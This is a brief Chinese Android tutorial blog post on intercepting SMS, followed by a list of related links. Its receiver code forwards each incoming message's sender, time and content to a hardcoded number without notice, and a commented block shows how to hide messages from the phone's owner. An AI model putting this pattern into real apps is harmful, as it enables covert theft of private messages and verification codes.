【慢慢学Android】:5.短信拦截
2012-05-30 21:53
260 查看
手机接收到短信后会发出一段广播
public class SMSBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容 for(Object pdu : pdus){ byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在 SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象 String sender = message.getOriginatingAddress();//获取短信的发送者 String content = message.getMessageBody();//获取短信的内容 Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendtime = format.format(date); SmsManager manager = SmsManager.getDefault(); manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556 // if("number".equals(sender)){ // abortBroadcast(); // } //如果不想让机主接收到某个号码的短信, //可以取消这段注释, number 为指定的号码 //也可在此处给这个号码回复的内容。。。。。 } }
相关文章推荐
- Android中如何在QQ通讯录,360之前拦截短信
- Android广播——短信拦截
- 在QQ通讯录之前拦截短信(android)
- android短信拦截示例代码
- Android电话短信拦截项目总结之 开发工具
- android 短信拦截思路
- 待高手解决Android短信拦截问题! @安卓大神
- [android] 手机卫士黑名单功能(短信拦截)
- Android--短信***及黑名单拦截
- Android——BroadcastReceiver 广播 短信拦截
- android 短信和电话拦截
- android手机短信拦截的实现
- Android实现短信验证码自动拦截读取功能
- 【慢慢学Android】:6.发送和接受短信
- Android电话短信拦截项目总结之 单选框(RadioButton)的使用方法
- android 拦截短信
- Android中短信拦截解决方案
- android发送短信和拦截短信信息
- android拦截短信及彩信